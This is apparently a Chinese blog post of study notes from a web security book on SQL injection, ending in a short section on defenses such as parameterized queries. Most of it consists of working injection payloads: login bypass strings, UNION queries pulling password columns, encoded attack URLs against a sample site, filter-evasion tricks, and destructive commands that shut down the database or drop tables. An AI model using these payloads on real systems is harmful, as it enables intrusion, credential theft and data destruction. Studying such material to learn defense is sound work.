`

Web安全读书笔记4-SQL注入漏洞

阅读更多
shell 
echo $1

如果 ./a.sh  `ls -la` 就会执行ls的命令 代码注入漏洞

sqlzoo.net sql的在线教程

select author,title from books where publisher=’wang’ 其中wang是需要填入的

查询字符串使用 wang‘ or 1=1--                  --是SQL的注释
select author,title from books where publisher=’wang’ or 1=1 ‘
或者查询字符串使用
wang’ or ‘a’=’a
select author,title from books where publisher=’wang’ or ‘a’=’a’

均会造成查处所有的books 而造成漏洞

获得管理员的漏洞
select * from users where username=’wang’ and password=’secret’
查询字符串 admin’—
select * from users where username=’admin’- -‘ and password=’secret’ 避开 密码检查

如果不知道管理员用户名 可以使用
字符串 ‘or 1=1—
select * from users where username=’’ or 1=1- - ‘ and password=’secret’
返回所有用户名,一般第一个用户就是管理员用户

针对字符串数据,尝试使用等价字符串形式(字符串连接方式)注入
Oracle : ‘||’FOO
MS-SQL: ‘+’FOO
MySQL: ‘ ’FOO

可以在特定的参数中提交SQL通配符%

针对数字数据,例如2 尝试1+1或者3-1的方式注入

或者使用ascii漏洞
67-ASCII(‘A’)  等价于2

如果单引号被过滤掉,上一个例子就没用了,但是有时候数据库会隐含的将数字数据转换为字符串数据
51-ASCII(1)     等价于2       可能会隐含的转换

要注意使用SQL注入之类的缺陷时,必须要知道某些字符在HTTP请求中有特殊含义,要插入这些字符,必须使用URL编码
1 &和=用于连接名称/值对,所以建立查询字符串或者POST数据块,用%26和%3d进行编码
2 查询字符串中不允许空格,提交空格整个字符串立即终止,空格使用+或者%20编码
3 +被编码为空格,在字符串中使用+必须使用%2b进行编码
4 分号被用于分割cookie字段,必须使用%3b进行编码

insert攻击
insert into users(username,password,id,privs) values(‘daf’,’secret’,2246,1)
提交输入
foo’,’bar’,9999,0) –会造成攻击

SQL注入   提交时候会自动对字符串加上’’ 引号(SQL查询中的字符串数据必须包含在引号内,与查询的其他内容分隔开来)

当设法注入insert语句时候,可能无法提前知道要提交多少个参数,可在values子句中持续增加一个字段,由于大多数数据库会隐式的将一个整数转换为一个字符串,因此可以使用整数。
提交
foo’)—
foo;,1)—
foo’,1,1)—
如果1遭到拒绝,可以尝试2000,许多数据库会隐式的将其转换成基于数据的数据类型

update users set password=’newsecret’ where user=’marcus’ and password=’secret’ 改变密码作用
提交
admin’ – 注入 修改admin密码
如果注入 admin’- or 1=1 他会修改每个用户的密码  非常危险 where子句要非常小心

UNION将两个或者多个select语句结果组合到一个独立的结果中。


select author,title year from books where publisher=’Wiley’
提交
Wiley’ UNION select username,password,uid from users –
将会执行联合查询,返回最初的结果和users表的所有内容

使用union操作符联合查询结果,这两个结果必须结构相同,即相同的栏目数,想兼容的类型
NULL值可以兼容任何类型,所以可以用NULL替换
‘union select NULL –
‘ union select NULL,NULL –
‘union select NULL,NULL,NULL –
查询得到执行说明使用了正确的栏数
也可以
‘ order by 1
‘ order by 2
‘ order by 3 递增排序栏,知道发生错误就知道正确的栏数
确定好栏数,下一步找到使用字符串数据类型的栏
‘union select ‘a’,NULL,NULL –
‘union select NULL,’a’,NULL –
‘union select NULL,NULL,’a’ –
如果注入查询得到执行,将可以看到另一行包含a值的数据,然后就可以诗意哦那个相关栏的数据从数据库中提取数据
对MySQL SQLServer
‘union select @@version,NULL,NULL—
对Oracle
‘union select banner,NULL,NULL from v$version--

Oracle每一个select必须包含from,所以可以用全局可访问表DUAL来满足着要去
‘union select NULL from DUAL

识别时何种数据库
常用数据库如何连接字符串
Oracle  ‘serv’||’ices’
MS-SQL ‘serv’+’ices’ (URL编码成%2b)
My-SQL ‘serv’ ‘ices’

如果注入数字数据,可以用一下方式识别数据库。每个数据项都为0。
Oracle BTAND(1,1) –BTAND(1,1)
MS-SQL @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL CONNECTION_ID()-CONNECTION_ID()

提取DBMS的metadata
Oracle攻击 查询字符串
http://wahh-app.com/employees.asp?EmpNo=7521
用union攻击
第一步
%20 空格 进行URL编码
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL%20from %20dual—
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,NULL,NULL%20from %20dual—

用上面NULL的方式尝试确定栏目数
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,’a’,NULL%20from %20dual—
上面的方式确定哪一栏是字符串。
第二步
然后就可以尝试查询 user_objects表,它显示用户定义的表以及其他数据
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,object_name, object_type,NULL%20from %20user_objects—
查询有哪些表后可能查询到其中有USERS表(可能是保存用户名密码的),可以通过查询user_tab_columns 表查询这个表的栏目的信息
%3d等于号
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,column _name,NULL,NULL%20from %20user_tab_columns%20where%20table_name%20 %3d%20’USERS’--
通过查询user_tab_columns知道USERS表的栏目为login和password,然后可以查询任何信息了
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,login,password,NULL%20from %20USERS

MS-SQL中 系统表在
sysobjects中
http://wahh-app.com/product.asp?q=hub’%20UNION%20SELECT%20name,null%20from%20sysobjects%20where%20xtype%3d’U’--
hub那里有个’引号 因为select … from … where q=’hub’ 的提交注入方式是 hub’ –形式 最后 合成的字符串 select … from … where q=’hub’ –‘ 形式
而上一个例子因为是数字不是字符串所以不用加上’’ 引号
syscolumns 表 查询栏目信息
http://wahh-app.com/product.asp?q=hub’%20UNION%20SELECT%20name,null%20from%20sysobjects%20a,syscolumns%20b%20where%20a.id=b.id%20and%20a.name%3d’users’ –
然后就可以提取任何信息了

ODBC错误 显示数据库的有关信息(MS SQL)
select * from users where username=’wang’ and password=’yile’
‘ having 1=1 –
‘ group by users.ID having 1=1 –
‘ group by users.ID ,users.password having 1=1 –
通过错误消息来得到所有的表 提交到最后就不会出现错误了
然后使用
‘ union select sum(username) from users –
‘ union select sum(ID) from users –
来通过错误获取所有栏目的类型
然后就可以执行动作了
‘;insert into users values(123,’wang’) –
MS SQL允许用分号来执行几个SQL语句

通过错误返回信息
‘or 1 in (select password from users where username=’admin’) --

避开过滤
如果—注释号被屏蔽
可以用
‘ or ‘a’=’a
使用SQL行内注释,如果应用程序阻止空格,使用注释来冒充空格
select/*foo*/username.,password/*foo*/from/*foo*/users
使用注释避开关键字过滤
sel/*foo*/ect  username.,password  f/*foo*/rom  users

使用连接字符串处理被过滤的字符串
Oracle  ‘adm’||’in’
MS SQL  ‘adm’+’in’
MySQL  concat(‘adm’,’in’)

用字符串操作函数避开过滤CHR,Reverse,TRANSlate,replace,SUBSTR函数,如果引号被阻止,可以使用CHR函数插入
select password from users where username=chr(97) || chr(100)||chr(109) ||chr(105)||chr(110) 等价于admin

使用动态执行避开过滤
exec(‘sel’+’ect * from ’+’users’)           MSSQL
Oracle 可以使用 EXECUTE IMMEDIATE执行一个字符串

利用有缺陷的过滤   输入超长字符串 
如果应用程序将用户输入的单引号配对,且对数据截断到20个字符
提交 admin ‘ --  就会变成
select * from users where username=’admin’ ‘--‘ and password=’  ’  就无法避开登陆
但是输入
aaaaaaaaaaaaaa’(19个a加上一个引号)  这样在提交的时候先对应用程序引号配对,然后字符串截断为20个字符,将输入恢复到最初值
并且提交密码值 [空格] or 1=1 –
应用程序执行查询后变为
select * from users where  username=’aaaaaaaaaaaaaaa’ ‘ and  password=’ or 1=1 --’
‘’aaaaaaaaaaaaaaa’ ‘ and  password=’ 在这一部分中 中间两个引号被解释成转义的引号,因此’aaaaaaaaaaaaaaa’ ‘ and  password=’当做了一个用户名 ,引号后的or 1=1 – ‘将会破坏查询逻辑导致所有数据的输出(SQL 单引号为转义字符)
不必理会字符串长度,使用下面提交测试
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
a’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
截断转义字符发生在一个偶数字符或者奇数字符后,无论哪种情况,都会在查询中插入数目的单引号,而导致语法失效

注入恶意命令
‘ shutdown—            关闭数据库
‘  drop table accounts –

有些查询结果被屏蔽,可以使用数字响应的方式获取有用的数据
ASCII(SUBSTR(‘Admin’,1,1))  返回65,
使用ASCII和SUBSTR两个函数,可以系统的将一个有用数据的字符串分割成单个字符,以数字形式分别返回一个字符。


SQL语法区别
ASCII SubString
获取当前数据库用户
引发时间延迟
获取数据库版本字符串
获取当前数据库
获取当前用户权限
显示用户对象
显示用户表
显示表foo的栏名称
与操作系统的交互

防止Sql注入
单引号在sql注入中地位突出,防御这种攻击的一种方法,就是将用户输入中的任何单引号配对,对他们进行转义(两个连续的单引号是要一个转义序列,表示一个字面量单引号,数据库把他解释为一个引用字符串中的数据,而不是结束字符串的终止符)

使用存储过程避免sql注入

使用参数化查询
参数化查询分两个步骤建立一个包含用户输入的sql语句
(1) 应用程序指定查询结构,为用户输入的每个数据预留占位符
(2) 应用程序指定每个占位符的内容
至关重要的,在第二个步骤中指定的专门设计的数据无法破坏第一个步骤中指定的查询结构,因为查询结构已经确定,且相关API(数据库或应用程序的API)对任何类型的占位符数据进行安全处理,因此它总是被解释为数据,而不是语句结构的一部分。

原理
在使用參數化查詢的情況下,資料庫伺服器不會將參數的內容視為SQL指令的一部份來處理,而是在資料庫完成 SQL 指令的編譯後,才套用參數執行,因此就算參數中含有具破壞性的指令,也不會被資料庫所執行。
0
0
分享到:
评论

相关推荐

    sql注入-注入漏洞获得数据库数据-kali-sqlmap-运维安全详细笔记

    1. SQLMap:SQLMap 是一个开源的 SQL 注入检测工具,可以自动检测 SQL 注入漏洞。 2. Burp Suite:Burp Suite 是一个 Web 应用安全检测工具,包含 SQL 注入检测功能。 六、总结 SQL 注入是一种常见的 Web 应用安全...

    e-1-6-通过sqlnamp检测sql注入漏洞-随堂笔记 .doc

    【SQL注入漏洞与SQLmap工具】 SQL注入是一种常见的网络安全漏洞,攻击者通过在Web表单中插入恶意SQL语句,欺骗服务器执行非预期的数据库操作。这种漏洞可能导致数据泄露、非法权限获取,甚至整个数据库系统的瘫痪。...

    白帽子讲Web安全 读书笔记一

    ### 白帽子讲Web安全读书笔记一:关键知识点解析 #### 第零篇 总览 - **客户端脚本安全**:这部分主要关注浏览器环境下的安全问题,包括浏览器自身的安全机制以及用户与网页交互过程中可能遇到的安全风险。 - **...

    web安全学习笔记.pdf

    "Web 安全学习笔记" Web 安全学习笔记是关于网络安全的综合性学习笔记,涵盖了 Web 安全的基础知识、常见威胁、防御策略等方面的内容。下面将详细介绍该笔记中所涉及的知识点: 一、Web 安全基础 * Web 安全定义...

    sqli-lib64关闯关笔记学习资料.zip

    SQL注入(SQL Injection)是一种...总之,sqli-lib64提供的资源是学习SQL注入技术的宝贵资料,通过实践和笔记分享,可以提升你的安全意识和技能,对于从事Web开发或网络安全工作的人来说,这些都是必不可少的知识点。

    Web安全测试笔记

    ### Web安全测试笔记 在本篇笔记中,我们将探讨与Web安全测试相关的多个知识点,包括但不限于常见的测试方法、工具和技术等。这些知识点旨在帮助安全测试人员更好地理解和掌握如何有效地进行Web应用的安全评估。 #...

    Web安全学习笔记

    Web安全主要涉及保护Web应用程序免受各种攻击,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等。本学习笔记将深入探讨这些关键知识点。 一、Web基础与漏洞类型 1. Web工作原理:理解HTTP协议,它是Web通信的...

    网络安全学习笔记包含sql注入,ssh暴力破解,web漏洞扫描,xss扩展攻击,文件上传攻击等

    网络安全学习笔记包含sql注入,ssh暴力破解,web漏洞扫描,xss扩展攻击,文件上传攻击等

    sql注入 自学笔记 报错注入 二阶注入 布尔时间盲注 基于sqli-labs

    SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过构造特定的SQL语句来获取敏感信息或控制数据库。下面是基于SQLi-Labs的SQL注入基础知识点: 一、报错注入 报错注入是指攻击者通过构造特定的SQL语句,让...

    Owasp Top10 漏洞笔记

    安全漏洞是 Web 应用程序中的一个常见问题,OWASP Top 10 是一个列表,列出了 Web 应用程序中十大最常见的安全漏洞,其中包括 SQL 注入漏洞、跨站脚本攻击、跨站请求伪造、敏感数据 exposures 等。今天,我们将详细...

    Python_Study Notes For Web Hacking Web安全学习笔记.zip

    4. Web漏洞:笔记可能详细介绍了常见的Web安全漏洞,如SQL注入、XSS(跨站脚本)攻击、CSRF(跨站请求伪造)等,以及如何利用Python检测和利用这些漏洞。 5. 框架安全:对于像Django和Flask这样的Python Web框架,...

    《SQL手工注入笔记》

    8. **应急响应与修复**:一旦发现SQL注入漏洞,应立即修复,包括更新代码、修补数据库配置、加固安全策略等。 9. **法律法规与合规性**:讨论与SQL注入相关的法规和行业标准,如ISO 27001、PCI DSS等,强调遵循这些...

    Web安全学习笔记.pdf

    笔记的核心部分是常见Web漏洞的攻防,包括SQL注入、XSS跨站脚本、CSRF跨站请求伪造、SSRF服务器端请求伪造、命令注入、目录穿越、文件读取、文件上传、文件包含、XML External Entity(XXE)攻击、模板注入、XPath...

    WAF攻防实战笔记v1.0--Bypass.pdf

    在互联网安全领域,Web应用防火墙(WAF)作为一种流行的防护手段,用于保护Web应用免受诸如SQL注入、跨站脚本攻击(XSS)等常见攻击方式的侵害。然而,随着WAF的广泛部署,攻击者也在不断探索绕过这些安全防护层的...

    From SQL Injection to Shell学习笔记

    此外,也需要确定网站哪些页面可能存在SQL注入漏洞,包括数字型(基于数字的查询)和字符型(基于字符串的查询)。 3. SQL注入方法: - 数字型注入通过算术运算来判断,例如将查询条件中的数字减去1,观察页面变化...

    实战-从社工客服拿到密码登录后台加SQL注入绕过安全狗写入webshell到提权进内网漫游.pdf

    本资源为一篇实战渗透测试笔记,记录了作者从社工客服拿到密码登录后台加 SQL 注入绕过安全狗写入 webshell 到提权进内网漫游的整个过程。 一、初探 作者首先尝试使用自制字典工具“御剑”扫描网站,但发现无法...

    基于Springboot的学生读书笔记共享系统源码数据库.doc

    - **输入验证**:防止SQL注入等攻击,对用户提交的数据进行严格的格式验证。 #### 3.3 性能优化 - **缓存机制**:合理使用缓存,减少数据库的访问频率。 - **分页查询**:大数据量情况下采用分页查询,提高查询效率...

Global site tag (gtag.js) - Google Analytics